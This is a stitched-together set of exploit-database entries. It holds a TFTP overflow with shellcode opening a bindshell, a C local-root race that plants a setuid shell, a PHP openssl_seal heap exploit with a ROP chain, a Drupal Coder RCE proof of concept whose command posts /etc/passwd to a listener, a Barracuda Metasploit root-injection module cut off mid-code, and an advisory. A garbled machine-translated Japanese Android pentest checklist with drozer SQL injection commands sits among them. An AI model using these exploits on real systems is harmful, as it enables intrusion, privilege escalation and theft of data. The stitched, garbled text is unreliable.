"\x69\x38\x4c\x35\x6f\x6e\x66\x79\x6f\x49\x45\x4c\x49\x4b\x50"
"\x52\x6e\x43\x66\x30\x46\x59\x6f\x54\x70\x62\x48\x34\x48\x6c"
"\x47\x35\x4d\x55\x30\x39\x6f\x38\x55\x4f\x4b\x59\x6e\x34\x4e"
"\x76\x52\x59\x7a\x73\x58\x6d\x76\x6c\x55\x4d\x6d\x4d\x4d\x4b"
"\x4f\x6e\x35\x47\x4c\x63\x36\x71\x6c\x45\x5a\x4f\x70\x49\x6b"
"\x59\x70\x74\x35\x76\x65\x4d\x6b\x50\x47\x32\x33\x32\x52\x30"
"\x6f\x62\x4a\x45\x50\x66\x33\x69\x6f\x4e\x35\x41\x41")
# PPR - 0x0040CC22 - in TFTPServerSP.exe
# 3-byte overwrite
jump_one = "\xEB\xDB\x90\x90" # negative jump back
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a" #WOOT
"\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x54\x30\x30\x57\x8b\xfa"
"\xaf\x75\xea\xaf\x75\xe7\xff\xe7")
filename = "\x90"*734 + "T00WT00W" + shellcode + "\x90"*10 + egghunter + "\x90"*10 + jump_one + "\x22\xCC\x40"
mode = "netascii"
evil = "\x00\x02" + filename + "\x00" + mode + "\x00"
print "[*] Sending evil packet, ph33r"
s.sendto(evil, (host, port))
print "[*] Check port 4444 for bindshell"
// Source: http://akat1.pl/?id=2
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <stdlib.h>
#include <string.h>
#include <err.h>
#include <sys/wait.h>
#define ATRUNPATH "/usr/libexec/atrun"
#define MAILDIR "/var/mail"
static int
overwrite_atrun(void)
{
char *script = "#! /bin/sh\n"
"cp /bin/ksh /tmp/ksh\n"
"chmod +s /tmp/ksh\n";
size_t size;
FILE *fh;
int rv = 0;
fh = fopen(ATRUNPATH, "wb");
if (fh == NULL) {
rv = -1;
goto out;
}
size = strlen(script);
if (size != fwrite(script, 1, strlen(script), fh)) {
rv = -1;
goto out;
}
out:
if (fh != NULL && fclose(fh) != 0)
rv = -1;
return rv;
}
static int
copy_file(const char *from, const char *dest, int create)
{
char buf[1024];
FILE *in = NULL, *out = NULL;
size_t size;
int rv = 0, fd;
in = fopen(from, "rb");
if (create == 0)
out = fopen(dest, "wb");
else {
fd = open(dest, O_WRONLY | O_EXCL | O_CREAT, S_IRUSR |
S_IWUSR);
if (fd == -1) {
rv = -1;
goto out;
}
out = fdopen(fd, "wb");
}
if (in == NULL || out == NULL) {
rv = -1;
goto out;
}
while ((size = fread(&buf, 1, sizeof(buf), in)) > 0) {
if (fwrite(&buf, 1, size, in) != 0) {
rv = -1;
goto out;
}
}
out:
if (in != NULL && fclose(in) != 0)
rv = -1;
if (out != NULL && fclose(out) != 0)
rv = -1;
return rv;
}
int
main()
{
pid_t pid;
uid_t uid;
struct stat sb;
char *login, *mailbox, *mailbox_backup = NULL, *atrun_backup, *buf;
umask(0077);
login = getlogin();
if (login == NULL)
err(EXIT_FAILURE, "who are you?");
uid = getuid();
asprintf(&mailbox, MAILDIR "/%s", login);
if (mailbox == NULL)
err(EXIT_FAILURE, NULL);
if (access(mailbox, F_OK) != -1) {
/* backup mailbox */
asprintf(&mailbox_backup, "/tmp/%s", login);
if (mailbox_backup == NULL)
err(EXIT_FAILURE, NULL);
}
if (mailbox_backup != NULL) {
fprintf(stderr, "[+] backup mailbox %s to %s\n", mailbox,
mailbox_backup);
if (copy_file(mailbox, mailbox_backup, 1))
err(EXIT_FAILURE, "[-] failed");
}
/* backup atrun(1) */
atrun_backup = strdup("/tmp/atrun");
if (atrun_backup == NULL)
err(EXIT_FAILURE, NULL);
fprintf(stderr, "[+] backup atrun(1) %s to %s\n", ATRUNPATH,
atrun_backup);
if (copy_file(ATRUNPATH, atrun_backup, 1))
err(EXIT_FAILURE, "[-] failed");
/* win the race */
fprintf(stderr, "[+] try to steal %s file\n", ATRUNPATH);
switch (pid = fork()) {
case -1:
err(EXIT_FAILURE, NULL);
/* NOTREACHED */
case 0:
asprintf(&buf, "echo x | /usr/libexec/mail.local -f xxx %s "
"2> /dev/null", login);
for(;;)
system(buf);
/* NOTREACHED */
default:
umask(0022);
for(;;) {
int fd;
unlink(mailbox);
symlink(ATRUNPATH, mailbox);
sync();
unlink(mailbox);
fd = open(mailbox, O_CREAT, S_IRUSR | S_IWUSR);
close(fd);
sync();
if (lstat(ATRUNPATH, &sb) == 0) {
if (sb.st_uid == uid) {
kill(pid, 9);
fprintf(stderr, "[+] won race!\n");
break;
}
}
}
break;
}
(void)waitpid(pid, NULL, 0);
if (mailbox_backup != NULL) {
/* restore mailbox */
fprintf(stderr, "[+] restore mailbox %s to %s\n",
mailbox_backup, mailbox);
if (copy_file(mailbox_backup, mailbox, 0))
err(EXIT_FAILURE, "[-] failed");
if (unlink(mailbox_backup) != 0)
err(EXIT_FAILURE, "[-] failed");
}
/* overwrite atrun */
fprintf(stderr, "[+] overwriting atrun(1)\n");
if (chmod(ATRUNPATH, 0755) != 0)
err(EXIT_FAILURE, NULL);
if (overwrite_atrun())
err(EXIT_FAILURE, NULL);
fprintf(stderr, "[+] waiting for atrun(1) execution...\n");
for(;;sleep(1)) {
if (access("/tmp/ksh", F_OK) != -1)
break;
}
/* restore atrun */
fprintf(stderr, "[+] restore atrun(1) %s to %s\n", atrun_backup,
ATRUNPATH);
if (copy_file(atrun_backup, ATRUNPATH, 0))
err(EXIT_FAILURE, "[-] failed");
if (unlink(atrun_backup) != 0)
err(EXIT_FAILURE, "[-] failed");
if (chmod(ATRUNPATH, 0555) != 0)
err(EXIT_FAILURE, NULL);
fprintf(stderr, "[+] done! Don't forget to change atrun(1) "
"ownership.\n");
fprintf(stderr, "Enjoy your shell:\n");
execl("/tmp/ksh", "ksh", NULL);
return 0;
}
1。クライアントプログラムセキュリティテスト
1。APKの情報を確認してください
Java -jar getapkinfo.jar tfkj.apk
2。デジタル署名チェック
c: \ program files \ java \ jdk1.8.0_111 \ bin \ jarsigner.exe-verify c: \ users \ bk \ desktop \ tianfuテクノロジークラウドアプリ\ tianfuテクノロジークラウドサービスプラットフォーム\ tianfuテクノロジークラウドサービスプラットフォーム。
C: \プログラム
ファイル\ java \ jdk1.8.0_111 \ bin \ jarsigner.exe -verify c: \ uses \ bk \ desktop \ tianfuテクノロジークラウドアプリ\ Tianfuテクノロジークラウドサービスプラットフォーム\ Tianfuテクノロジークラウドサービスプラットフォーム
開発者の証明書は標準化されていないため、開発者のID情報が不明になります
keytool.exe-printcert-file。\ cert.rsa
3。逆コンパイルチェック
Apkscan.jarを介してアプリの硬化タイプを表示します
APKはJavaソースコード:に低下しました
apkをzipとして扱い、classes.dexファイルを取得するために脱線します
解凍されたclasses.dexファイルをdex2jarツールフォルダーにコピーします
コマンドを実行します:D2J-DEX2JAR Classes.dex
実行後、分解されたクラスDex2jar.jarファイルが取得されます。
JD-gui.exeまたはluyten-0.5.4を使用して、classes-dex2jar.jarファイルを開き、360セキュリティを硬化させた難読化されたソースコードを取得します。
Smali言語:にコンパイルされたAPK
Java -jar [apktool_2.3.4.jar] d -f
[APKアドレス] -O [出力ディレクトリ]
Java -jar
apktool_2.3.3.jar d [-s] -f c: \ users \ bk \ desktop \ tianfuテクノロジークラウドアプリ\ tianfuテクノロジークラウドサービスプラットフォーム。
Java -jar
apktool_2.3.3.jar d -f c: \ users \ bk \ desktop \ tianfuテクノロジークラウドアプリ\ tianfuテクノロジークラウドサービスプラットフォーム.apk -otfkj
または:
apktool.bat d Tianfu Technology Cloud Service Platform.apk
4.AndroidManifest.xmlファイルを確認してください
Java -jar axmlprinter2.jar androidmanifest.xml
AndroidManifest.txt
または
Java -jar apkparser.jar Tianfu Technology Cloud Service Platform.apk androidmanifest.txt
1。アプリケーションデータをオンにしてバックアップします。
許可バックアップの許可を許可すると、Tureにはバックアップデータリークのリスクがあります(デフォルトは構成されていない場合は真です)
2。安全でないデバッグモードをオンにします:
デバッグ可能な属性、trueはアプリケーション情報の改ざんと漏れのリスクをもたらします(設定されていない場合はデフォルトが偽です)
5。Janusの脆弱性を確認してください
(1)Janusの脆弱性(Janusの脆弱性に基づいて、攻撃者は元の署名に影響を与えることなくアプリを変更できます。改ざんされたアプリを正常にインストールして実行できます。V1+V2署名は同時に使用する必要があります)
6。アプリケーション整合性キャリブレーション検査
ソースコードを逆コンパイルし、画像ファイル名をtest.pngとして変更します
APKパッケージを再生すると、コマンドは次のとおりです。
Java -jar apktool.jar b -fフォルダーがパッケージ化される-o出力APKパス
または
apktool.bat btianfuテクノロジークラウドサービスプラットフォーム
Tianfu Technologyクラウドファイルの下には、さらに2つのフォルダー:BuildとDIST(パッケージ化されたAPKファイルが保存されています)を見つけることができます。
APKコマンドの再署名は次のとおりです。
Java -jar signapk.jar testkey.x509.pem
testKey.pk8 apkファイルパスに署名する。署名後のAPKパス出力
次に、APKを再インストールすると、再インストールできれば、ファイルの整合性が破損します
2。コンポーネント安全テスト
1。基本情報クエリ(1)、プログラムインストールパッケージをリストします。
app.package.listを実行します
(2)、アプリ名Drozerのパッケージ名を取得します(中国のアプリはリストできません。Java-Jar getapkinfo.jarを使用して、インストールされたアプリのパッケージ名を取得します)
コマンド:app.package.list -fパッケージ名を実行します
app.package.list -f Drozerを実行します
(3)、Androidの4つの主要なコンポーネントの攻撃面を表示:command:run app.package.attacksurfaceパッケージrun app.zhuoyigou.dese
:0101010101010101010 app.activity.info -aパッケージ名App.activity.info -a com.zhuoyigou.dese
(2)、脆弱性テストにapp.activity.startを使用してください
コマンド:app.activity.startを実行する - コンポーネントパッケージ名コンポーネント名App.activity.startを実行してください---componentcom.example.sievecom.mwr.example.sieve.sieve.pwlist #bypass #bypass #bypass#bypass nemy login windowインタラクティブインターフェイス
露出したアクティビティコンポーネントを呼び出す(一般に、アクティビティコンポーネントは1つのプログラムスタートアップインターフェイスのみを公開し、他のプログラムスタートアップインターフェイスのみを公開し、コンポーネントの露出です。テストであり、コンポーネントの露出の脆弱性はありません) app.provider.info -aパッケージ名App.provider.info -A com.zhuoyigou.dese (2)、contentProvidersデータリークURLコマンド:Run Scanner.Provider.Finduris -Aパッケージ名Run Scanner.Frovider.Finduris -A com.dduris -dderis -dderis -dduris-
(3)、各URIのデータを取得します
コマンド:app.provider.query漏れやすいURLアドレスをクエリ - verticalrun app.provider.query content: //com.zhuoyigou.dese.ipc.provider/- vertical (3)、contentproviders sql didrestion sql didcmand 1:run conted app. querider - プロジェクション ''
コマンド2:接続できるapp.provider.query urlアドレスを実行します-selection '' 'run app.provider.query content: //com.zhuoyigou.dese.ipc.provider/- -selection' ''
sql as a scliest as a sped as a splest a sclis
コマンド:app.provider.query urlアドレスを接続できるquery urlアドレス-projection '* sqlite_master from sqlite_master where "type=' table '; - ' run app.provider.dese.ipc.provider/- project '* sqlite_master from from phose=3つの視点からsqlite_master Android_metadata、パスワード、およびキー。名前から、Android_metadataはシステム関連のテーブルであり、他の2つはパスワードと他のデータに関連している可能性があると判断できます。
(5)テーブルでデータを取得します(キーなど)。
コマンド:app.provider.query urlアドレスを接続できるquery urlアドレス-projection '* from' 'run app.provider.query content: //com.zhuoyigou.dese.ipc.provider/- from key; - '(6)、SQL注入の検出
コマンド:scanner.provider.injection -aパッケージ名を実行します
scanner.provider.injection -a com.zhuoyigou.dese (7)、検出ディレクトリトラバーサルコマンド:Run scanner.provider.traversal -aパッケージ名run scanner.provider.provider.traversal -a com.zhuoyigou.dese
(8) app.provider.read urlアドレスを接続できますapp.provider.read content: //com.zhuoyigou.dese.ipc.provider/
(9)、ローカルコマンドへのシステムファイルをダウンロード:実行app.provider.download download downlow downolut
app.provider.download content: //com.mwr.example.sieve.filebackupprovider/data/data/com.mwr.example.sieve/databを実行します
<?php
// Source: http://akat1.pl/?id=1
function get_maps() {
$fh = fopen("/proc/self/maps", "r");
$maps = fread($fh, 331337);
fclose($fh);
return explode("\n", $maps);
}
function find_map($sym) {
$addr = 0;
foreach(get_maps() as $record)
if (strstr($record, $sym) && strstr($record, "r-xp")) {
$addr = hexdec(explode('-', $record)[0]);
break;
}
if ($addr == 0)
die("[-] can't find $sym base, you need an information leak :[");
return $addr;
}
function fill_buffer($offset, $content) {
global $buffer;
for ($i = 0; $i < strlen($content); $i++)
$buffer[$offset + $i] = $content[$i];
return;
}
$pre = get_maps();
$buffer = str_repeat("\x00", 0xff0000);
$post = get_maps();
$tmp = array_diff($post, $pre);
if (count($tmp) != 1)
die('[-] you need an information leak :[');
$buffer_base = hexdec(explode('-',array_values($tmp)[0])[0]);
$addr = $buffer_base+0x14; /* align to string */
echo "[+] buffer string @ 0x".dechex($addr)."\n";
$align = 0xff;
$addr += $align;
echo "[+] faking EVP_PKEY @ 0x".dechex($addr)."\n";
echo "[+] faking ASN @ 0x".dechex($addr)."\n";
fill_buffer($align + 12, pack('P', $addr));
$libphp_base = find_map("libphp7");
echo "[+] libphp7 base @ 0x".dechex($libphp_base)."\n";
/* pop x ; pop rsp ; ret - stack pivot */
$rop_addr = $libphp_base + 0x00000000004a79c3;
echo "[+] faking pkey_free @ 0x".dechex($addr+0xa0-4)." = ".dechex($rop_addr)."\n";
fill_buffer($align + 0xa0 - 4, pack('P', $rop_addr));
/* pop rbp ; pop rbp ; ret - clean up the stack after pivoting */
$rop_addr = $libphp_base + 0x000000000041d583;
fill_buffer($align - 4, pack('P', $rop_addr));
$libc_base = find_map("libc-");
echo "[+] libc base @ 0x".dechex($libc_base)."\n";
$mprotect_offset = 0xf4a20;
$mprotect_addr = $libc_base + $mprotect_offset;
echo "[+] mprotect @ 0x".dechex($mprotect_addr)."\n";
$mmap_offset = 0xf49c0;
$mmap_addr = $libc_base + $mmap_offset;
echo "[+] mmap @ 0x".dechex($mmap_addr)."\n";
$apache2_base = find_map("/usr/sbin/apache2");
echo "[+] apache2 base @ 0x".dechex($apache2_base)."\n";
$ap_rprintf_offset = 0x429c0;
$ap_rprintf_addr = $apache2_base + $ap_rprintf_offset;
echo "[+] ap_rprintf @ 0x".dechex($ap_rprintf_addr)."\n";
$ap_hook_quick_handler_offset = 0x56c00;
$ap_hook_quick_handler_addr = $apache2_base + $ap_hook_quick_handler_offset;
echo "[+] ap_hook_quick_handler @ 0x".dechex($ap_hook_quick_handler_addr)."\n";
echo "[+] building ropchain\n";
$rop_chain =
pack('P', $libphp_base + 0x00000000000ea107) . // pop rdx ; ret
pack('P', 0x0000000000000007) . // rdx = 7
pack('P', $libphp_base + 0x00000000000e69bd) . // pop rsi ; ret
pack('P', 0x0000000000004000) . // rsi = 0x1000
pack('P', $libphp_base + 0x00000000000e5fd8) . // pop rdi ; ret
pack('P', $addr ^ ($addr & 0xffff)) . // rdi = page aligned addr
pack('P', $mprotect_addr) . // mprotect addr
pack('P', ($addr ^ ($addr & 0xffff)) | 0x10ff); // return to shellcode_stage1
fill_buffer($align + 0x14, $rop_chain);
$shellcode_stage1 = str_repeat("\x90", 512) .
"\x48\xb8" . pack('P', $buffer_base + 0x2018) . // movabs shellcode_stage2, %rax
"\x49\xb8" . pack('P', 0x1000) . // handler size
"\x48\xb9" . pack('P', $buffer_base + 0x3018) . // handler
"\x48\xba" . pack('P', $ap_hook_quick_handler_addr) . // movabs ap_hook_quick_handler, %rdx
"\x48\xbe" . pack('P', 0) . // UNUSED
"\x48\xbf" . pack('P', $mmap_addr) . // movabs mmap,%rdi
"\xff\xd0" . // callq %rax
"\xb8\x27\x00\x00\x00" . // mov $0x27,%eax - getpid syscall
"\x0f\x05" . // syscall
"\xbe\x1b\x00\x00\x00" . // mov $0xd,%esi - SIGPROF
"\x89\xc7" . // mov %eax,%edi - pid
"\xb8\x3e\x00\x00\x00" . // mov $0x3e,%eax - kill syscall
"\x0f\x05"; // syscall
fill_buffer(0x1000, $shellcode_stage1);
$shellcode_stage2 = str_repeat("\x90", 512) .
"\x55" . // push %rbp
"\x48\x89\xe5" . // mov %rsp,%rbp
"\x48\x83\xec\x40" . // sub $0x40,%rsp
"\x48\x89\x7d\xe8" . // mov %rdi,-0x18(%rbp)
"\x48\x89\x75\xe0" . // mov %rsi,-0x20(%rbp)
"\x48\x89\x55\xd8" . // mov %rdx,-0x28(%rbp)
"\x48\x89\x4d\xd0" . // mov %rcx,-0x30(%rbp)
"\x4c\x89\x45\xc8" . // mov %r8,-0x38(%rbp)
"\x48\x8b\x45\xe8" . // mov -0x18(%rbp),%rax
"\x41\xb9\x00\x00\x00\x00" . // mov $0x0,%r9d
"\x41\xb8\xff\xff\xff\xff" . // mov $0xffffffff,%r8d
"\xb9\x22\x00\x00\x00" . // mov $0x22,%ecx
"\xba\x07\x00\x00\x00" . // mov $0x7,%edx
"\xbe\x00\x20\x00\x00" . // mov $0x2000,%esi
"\xbf\x00\x00\x00\x00" . // mov $0x0,%edi
"\xff\xd0" . // callq *%rax
"\x48\x89\x45\xf0" . // mov %rax,-0x10(%rbp)
"\x48\x8b\x45\xf0" . // mov -0x10(%rbp),%rax
"\x48\x89\x45\xf8" . // mov %rax,-0x8(%rbp)
"\xeb\x1d" . // jmp 0x40063d <shellcode+0x6d>
"\x48\x8b\x45\xf8" . // mov -0x8(%rbp),%rax
"\x48\x8d\x50\x01" . // lea 0x1(%rax),%rdx
"\x48\x89\x55\xf8" . // mov %rdx,-0x8(%rbp)
"\x48\x8b\x55\xd0" . // mov -0x30(%rbp),%rdx
"\x48\x8d\x4a\x01" . // lea 0x1(%rdx),%rcx
"\x48\x89\x4d\xd0" . // mov %rcx,-0x30(%rbp)
"\x0f\xb6\x12" . // movzbl (%rdx),%edx
"\x88\x10" . // mov %dl,(%rax)
"\x48\x8b\x45\xc8" . // mov -0x38(%rbp),%rax
"\x48\x8d\x50\xff" . // lea -0x1(%rax),%rdx
"\x48\x89\x55\xc8" . // mov %rdx,-0x38(%rbp)
"\x48\x85\xc0" . // test %rax,%rax
"\x75\xd2" . // jne 0x400620 <shellcode+0x50>
"\x48\x8b\x7d\xf0" . // mov -0x10(%rbp),%rdi
"\x48\x8b\x45\xd8" . // mov -0x28(%rbp),%rax
"\xb9\xf6\xff\xff\xff" . // mov $0xfffffff6,%ecx
"\xba\x00\x00\x00\x00" . // mov $0x0,%edx
"\xbe\x00\x00\x00\x00" . // mov $0x0,%esi
"\xff\xd0" . // callq *%rax
"\xc9" . // leaveq
"\xc3"; // retq
fill_buffer(0x2000, $shellcode_stage2);
$handler =
"\x55" . // push %rbp
"\x48\x89\xe5" . // mov %rsp,%rbp
"\x48\x83\xec\x30" . // sub $0x30,%rsp
"\x48\x89\x7d\xd8" . // mov %rdi,-0x28(%rbp)
"\x48\xb8" . pack('P', $ap_rprintf_addr) . // movabs $0xdeadbabefeedcafe,%rax
"\x48\x89\x45\xf8" . // mov %rax,-0x8(%rbp)
"\x48\xb8" . "Hello Wo" . // movabs CONTENT,%rax
"\x48\x89\x45\xe0" . // mov %rax,-0x20(%rbp)
"\x48\xb8" . "rld!\n\x00\x00\x00" . // movabs CONTENT,%rax
"\x48\x89\x45\xe8" . // mov %rax,-0x20(%rbp)
"\x48\x8d\x4d\xe0" . // lea -0x20(%rbp),%rcx
"\x48\x8b\x55\xd8" . // mov -0x28(%rbp),%rdx
"\x48\x8b\x45\xf8" . // mov -0x8(%rbp),%rax
"\x48\x89\xce" . // mov %rcx,%rsi
"\x48\x89\xd7" . // mov %rdx,%rdi
"\xff\xd0" . // callq *%rax
"\xb8\x00\x00\x00\x00" . // mov $0x0,%eax
"\xc9" . // leaveq
"\xc3"; // retq
fill_buffer(0x3000, $handler);
$addr = pack('P', $addr);
$memory = str_repeat($addr,321);
$pem = "
-----BEGIN PUBLIC KEY-----
MCwwDQYJKoZIhvcNAQEBBQADGwAwGAIRANG2dvm8oNiH3IciNd44VZcCAwEAAQ==
-----END PUBLIC KEY-----"; /* Random RSA key */
$a = array_fill(0,321,0);
/* place valid keys at the beginning */
$k = openssl_pkey_get_public($pem);
$a[0] = $k; $a[1] = $k; $a[2] = $k;
echo "[+] spraying heap\n";
$x = array();
for ($i = 0 ; $i < 20000 ; $i++) {
$x[$i] = str_repeat($memory, 1);
}
for ($i = 0 ; $i < 20000 ; $i++) {
unset($x[$i]);
}
unset($x);
echo "[+] triggering openssl_seal()...\n";
@openssl_seal($_, $_, $_, $a);
echo "[-] failed ;[\n";
<?php
# Drupal module Coder Remote Code Execution (SA-CONTRIB-2016-039)
# https://www.drupal.org/node/2765575
# by Raz0r (http://raz0r.name)
#
# E-DB Note: Source ~ https://gist.github.com/Raz0r/7b7501cb53db70e7d60819f8eb9fcef5
$cmd = "curl -XPOST http://localhost:4444 -d @/etc/passwd";
$host = "http://localhost:81/drupal-7.12/";
$a = array(
"upgrades" => array(
"coder_upgrade" => array(
"module" => "color",
"files" => array("color.module")
)
),
"extensions" => array("module"),
"items" => array (array("old_dir"=>"test; $cmd;", "new_dir"=>"test")),
"paths" => array(
"modules_base" => "../../../",
"files_base" => "../../../../sites/default/files"
)
);
$payload = serialize($a);
file_get_contents($host . "/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php?file=data://text/plain;base64," . base64_encode($payload));
?>
Rapid7 AppSpider 6.12 Web Application Vulnerability Scanner Elevation Of Privilege
Vendor: Rapid7, Inc.
Product web page: https://www.rapid7.com
Affected version: 6.12.10.1
Summary: While today's malicious attackers pursue a variety of
goals, they share a preferred channel of attack - the millions
of custom web, mobile, and cloud applications companies deploy
to serve their customers. AppSpider dynamically scans these
applications for vulnerabilities across all modern technologies,
provides tools that speed remediation, and monitors applications
for changes.
Desc: The application suffers from an unquoted search path issue
impacting the services 'AppSpider REST Server', 'AppSpider REST Service'
and 'AppSpiderUpgradeService' for Windows deployed as part of AppSpider
solution. This could potentially allow an authorized but non-privileged
local user to execute arbitrary code with elevated privileges on the
system. A successful attempt would require the local user to be able to
insert their code in the system root path undetected by the OS or other
security applications where it could potentially be executed during
application startup or reboot. If successful, the local user’s code
would execute with the elevated privileges of the application.
Tested on: Microsoft Windows 7 Professional SP1 (EN)
Microsoft Windows 7 Ultimate SP1 (EN)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2016-5344
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5344.php
Vendor: https://community.rapid7.com/docs/DOC-3455
05.07.2016
--
C:\>sc qc "AppSpider REST Server"
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: AppSpider REST Server
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Rapid7\AppSpider6\restserviceworker\WebWindowsService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : AppSpider REST Server
DEPENDENCIES :
SERVICE_START_NAME : NT AUTHORITY\NetworkService
C:\>sc qc "AppSpider REST Service"
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: AppSpider REST Service
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Rapid7\AppSpider6\RestService\WebService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : AppSpider REST Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
C:\>sc qc AppSpiderUpgradeService
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: AppSpiderUpgradeService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Rapid7\AppSpider6\AppSpiderUpgradeService\AppSpiderUpgradeService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : AppSpiderUpgradeService
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
# Exploit Title: Barracuda Web App Firewall/Load Balancer Post Auth Remote Root Exploit
# Date: 07/21/16
# Exploit Author: xort xort@blacksecurity.org
# Vendor Homepage: https://www.barracuda.com/
# Software Link: https://www.barracuda.com/products/loadbalance & https://www.barracuda.com/products/webapplicationfirewall
# Version: Load Balancer Firmware <= v5.4.0.004 (2015-11-26) & Web App Firewall Firmware <= 8.0.1.007 (2016-01-07)
# Tested on: Load Balancer Firmware <= v5.4.0.004 (2015-11-26) & Web App Firewall Firmware <= 8.0.1.007 (2016-01-07)
# CVE : None.
# vuln: ondefine_modify_admin_role trigger exploit
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Barracuda Web App Firewall/Load Balancer Post Auth Remote Root Exploit',
'Description' => %q{
This module exploits a remote command execution vulnerability in
the Barracuda Web App Firewall Firmware Version <= 8.0.1.007 and Load Balancer Firmware <= v5.4.0.004
by exploiting a vulnerability in the web administration interface. By sending a specially crafted request
it's possible to inject system commands while escalating to root do to relaxed sudo configurations on the applianaces.
},
'Author' =>
[
'xort', # vuln + metasploit module
],
'Version' => '$Revision: 2 $',
'References' =>
[
[ 'none', 'none'],
],
'Platform' => [ 'linux'],
'Privileged' => true,
'Arch' => [ ARCH_X86 ],
'SessionTypes' => [ 'shell' ],
'Privileged' => false,
'Payload' =>
{
'Compat' =>
{
'ConnectionType' => 'find',
}
},
'Targets' =>
[
['Barracuda Web App Firewall Firmware Version <= 8.0.1.007 (2016-01-07)',
{
'Arch' => ARCH_X86,
'Platform' => 'linux',
'SudoCmdExec' => "/home/product/code/firmware/current/bin/config_agent_wrapper.pl"
}
],
['Barracuda Load Balancer Firmware <= v5.4.0.004 (2015-11-26)',
{
'Arch' => ARCH_X86,
'Platform' => 'linux',
'SudoCmdExec' => "/home/product/code/firmware/current/bin/rdpd"
}
],
],
'DefaultTarget' => 0))
register_options(
[
OptString.new('PASSWORD', [ false, 'Device password', "" ]),
OptString.new('ET', [ false, 'Device password', "" ]),
OptString.new('USERNAME', [ true, 'Device password', "admin" ]),
OptString.new('CMD', [ false, 'Command to execute', "" ]),
Opt::RPORT(8000),
], self.class)
end
def do_login(username, password_clear, et)
vprint_status( "Logging into machine with credentials...\n" )
# vars
timeout = 1550;
enc_key = Rex::Text.rand_text_hex(32)
# send request
res = send_request_cgi(
{
'method' => 'POST',
'uri' => "/cgi-mod/index.cgi",
'headers' =>
{
'Accept' => "application/json, text/javascript, */*; q=0.01",
'Content-Type' => "application/x-www-form-urlencoded",
'X-Requested-With' => "XMLHttpRequest"
},
'vars_post' =>
{
'enc_key' => enc_key,
'et' => et,
'user' => "admin", # username,
'password' => "admin", # password_clear,
'enctype' => "none",
'password_entry' => "",
'login_page' => "1",
'login_state' => "out",
'real_user' => "",
'locale' => "en_US",
'form' => "f",
'Submit' => "Sign in",
}
}, timeout)
# get rid of first yank
password = res.body.split('\n').grep(/(.*)password=([^&]+)&/){$2}[0] #change to match below for more exact result
et = res.body.split('\n').grep(/(.*)et=([^&]+)&/){$2}[0]
return password, et
end
def run_command(username, password, et, cmd)
vprint_status( "Running Command...\n" )
sudo_cmd_exec = target.SudoCmdExec
sudo_run_cmd_1 = "sudo /bin/cp /bin/sh #{sudo_cmd_exec} ; sudo /bin/chmod +x #{sudo_cmd_exec}"
sudo_run_cmd_2 = "sudo #{sudo_cmd_exec} -c "
# random filename to dump too + 'tmp' HAS to be here.
dumpfile = "/tmp/" + rand_text_alphanumeric(4+rand(4))
encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')
injection_string = "printf \"#{encoded_cmd}\" > #{dumpfile} ; /bin/chmod +x #{dumpfile} ; #{sudo_run_cmd_1} ; #{sudo_run_cmd_2} #{dumpfile} ; rm #{dumpfile}"
exploitreq = [
[ "auth_type","Local" ],
[ "et",et ],
[ "locale","en_US" ],
[ "password", password ],
[ "primary_tab", "BASIC" ],
[ "realm","" ],
[ "secondary_tab","reports" ],
[ "user", username ],
[ "timestamp", Time.now.to_i ],
[ "scope", "" ],
[ "scope_data", "; #{injection_string} ;" ], # vuln
[ "modify_admin_role", "" ]
]
boundary = "---------------------------" + Rex::Text.rand_text_numeric(34)
post_data = ""
exploitreq.each do |xreq|
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"#{xreq[0]}\"\r\n\r\n"
post_data << "#{xreq[1]}\r\n"
end
post_data << "--#{boundary}--\r\n"
res = send_request_cgi({
'method' => 'POST',
'uri' => "/cgi-mod/index.cgi",
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => post_data,
'headers' =>
{
'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0",
'Accept' => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
'Accept-Language' => "en-US,en;q=0.5"
}
})
end
def run_script(username, password, et, cmds)
vprint_status( "running script...\n")
end
def exploit
# timeout
timeout = 1550;
user = "admin"
# params
real_user = "";
login_state = "out"
et = Time.now.to_i
locale = "en_US"
user = "admin"
password = "admin"
enctype = "MD5"
password_entry = ""
password_clear = "admin"
password_hash, et = do_login(user, password_clear, et)
vprint_status("new password: #{password_hash} et: #{et}\n")
sleep(5)
# if no 'CMD' string - add code for root shell
if not datastore['CMD'].nil? and not datastore['CMD'].empty?
cmd = datastore['CMD']
# Encode cmd payload
encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')
# kill stale calls to bdump from previous exploit calls for re-use
run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/n ;printf \"#{encoded_cmd}\" > /tmp/n; chmod +rx /tmp/n ; /tmp/n" ))
